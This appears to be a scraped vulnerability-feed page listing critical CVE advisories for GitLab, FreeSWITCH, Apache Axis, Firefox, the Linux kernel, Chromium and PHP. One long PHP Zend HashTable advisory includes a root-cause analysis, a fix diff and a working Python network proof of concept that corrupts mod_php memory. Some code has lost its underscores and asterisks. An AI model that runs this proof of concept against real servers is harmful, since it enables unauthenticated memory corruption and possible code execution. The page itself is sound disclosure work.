Where
-Infinity
0
Severity
10
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

GitLab Community Edition and Enterprise Edition contain a integer overflow or wraparound vulnerability that could allow an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.

1 / 3
Source: CISA
First published (updated )
Severity
10
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
Command Injection, OS Command Injection, Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to 1.11.3, sofiapresencehandlesipimessage() split the To user of an inbound SIP MESSAGE on a plus sign and treated the left side as a chat protocol selector. Selecting the api chat proto reached switchapiexecute(), allowing a peer whose MESSAGE was accepted to run FreeSWITCH API commands, including operating-system command sinks, with the daemon's privileges. Inbound chat is enabled on the stock internal and external profiles, and any authenticated profile account is sufficient; stock directory users without password material can also remove that barrier in affected configurations. The flaw permits configuration and credential disclosure, arbitrary call control, and command execution, and exploitation has been observed in the wild. This issue is fixed in version 1.11.3.

1 / 2
Source: NVD

Remedy

Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

UNSUPPORTED WHEN ASSIGNED Deserialization of an inbound SOAP fault in Apache Axis 1.x allows unauthenticated remote class instantiation. When a SOAP <Fault> carries a <detail><exceptionName> element, Axis loads the named class and, if a String <data> element is also present, instantiates it through its String constructor before checking that it is an AxisFault. Loading alone runs the class's static initializer. With a suitable class on the application's classpath this leads to remote code execution. The fault is parsed while the engine resolves the target service, before any per-service handler chain runs, so authentication handlers configured on a service do not protect against it. This affects all Apache Axis 1.x versions through 1.4.

As Axis 1 has been EOL we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/41f3b4e8d04e310ca81f86b92630ab2c11d608bd applied. The Apache Axis project does not expect to create an Axis 1.x release fixing this problem.

1 / 3
Source: NVD
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Aspera Faspex 5.0.0 through 5.0.19 could allow an authorized user to craft a specific message to bypass user authorization and gain full administrative privileges.

1 / 2
Source: NVD
First published (updated )
Severity
9.8
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SQL::Abstract versions before 2.000003 for Perl allow SQL injection via an arrayref column value in insert and update.

With the arraydatatypes option off, which is the default, insert(), update() and values() treat an arrayref column value as literal SQL. Its first element goes into the SQL text unescaped and the rest become bind values. A JSON array, or a repeated form field decoded as an arrayref, is such a value.

An application that passes request data as column values to insert or update with the default options allows SQL injection.

Releases before 2.000003 also treat an arrayref in generate() as literal SQL, including through AUTOLOAD when allowautoload is on, whatever arraydatatypes is set to.

1 / 3
Source: NVD
First published (updated )
Severity
9.6
Use After Free
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to use-after-free in the Audio/Video: cubeb component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
Use After Free
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to use-after-free in the DOM: Service Workers component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to incorrect boundary conditions in the Graphics: Text component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to incorrect boundary conditions in the Storage: Cache API component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
Use After Free
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to use-after-free in the IPC component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
Use After Free
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Sandbox escape due to use-after-free in the Widget: Gtk component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
9.6
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C

A origin validation error vulnerability in Fortinet FortiClientMac 7.4.0 through 7.4.7, FortiClientWindows 7.4.0 through 7.4.7, FortiClientWindows 7.2.0 through 7.2.14, FortiClientWindowsPAM 7.4.7, FortiClientWindowsPAM 7.2.14 may allow an unauthorized remote attacker to execute unauthorized code or commands. Successful exploitation requires interaction with the victim.

First published (updated )
Severity
9.2
EPSS
0.76%
Use After Free
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

In the Linux kernel, the following vulnerability has been resolved:

ipv4: free inetopt and ireqopt after an RCU grace period

tcpv4synrecvsock() transfers ownership of ireq->ireqopt to the child socket (newinet->inetopt) without copying it.

Another cpu can concurrently process a retransmitted SYN for the same request socket, and send a SYNACK from tcpcheckreq(). tcpv4sendsynack() and inetcskroutereq() read ireq->ireqopt under rcureadlock() only, and ipbuildandsendpkt() and ipoptionsbuild() then read opt->optlen twice.

Note that the SYNACK timer itself is not an issue: it holds a reference on its request socket, and inetcskreqskqueuedrop() calls timerdeletesync() before the child can be freed.

Since commit 079096f103fa ("tcp/dccp: install synrecv requests into ehash table"), request sockets are processed without holding the listener lock, so nothing prevents the child socket from being freed while the SYNACK is still being built. TCP child sockets do not have SOCKRCUFREE, and inetsockdestruct() frees inetopt with a plain kfree(), leading to a use-after-free in ipoptionsbuild().

A similar issue exists with request socket migration (net.ipv4.tcpmigratereq=1, or a BPFSKREUSEPORTSELECTORMIGRATE program). reqsktimerhandler() clones the request socket with inetreqskclone(), so that the old request socket and its clone share the same ireqopt, then reqskmigratereset() clears the pointer in the old one. Another cpu holding a reference on the old request socket can still be using these options (sending a SYNACK, or creating a child in tcpv4synrecvsock()) when the clone is freed, and tcpv4reqskdestructor() also uses a plain kfree().

Readers already use RCU, and other paths replacing inetopt (doipsetsockopt(), cipsov4socksetattr()...) already use kfreercu(). Use kfreercu() in inetsockdestruct() and tcpv4reqskdestructor() as well.

IPv6 is not affected by the first issue, because tcpv6synrecvsock() duplicates the options. tcpv6reqskdestructor() has the same migration issue with ipv6opt, which is only set by CALIPSO. This will be addressed in a separate patch.

1 / 4
Source: NVD
First published (updated )
Severity
9.2
3 Months
Use After Free
AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

1 / 5
Source: Red Hat
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Google Chromium contains a use-after-free vulnerability in the XML component that could allow a remote attacker to execute arbitrary code inside the sandbox via a specially crafted webpage. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.

1 / 2
Source: CISA
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the DOM: HTML Parser component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Incorrect boundary conditions in the Layout: Text and Fonts component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Incorrect boundary conditions in the DOM: CSS Object Model component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Incorrect boundary conditions in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the CSS Parsing and Computation component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the Audio/Video component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Incorrect boundary conditions in the DOM: Selection component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the JavaScript: GC component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the CSS Parsing and Computation component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 160, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )
Severity
8.8
Use After Free
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Use-after-free in the CSS Parsing and Computation component. This vulnerability was fixed in Firefox 160, Firefox ESR 115.45, Firefox ESR 153.7, and Thunderbird 160.

1 / 2
Source: NVD
First published (updated )

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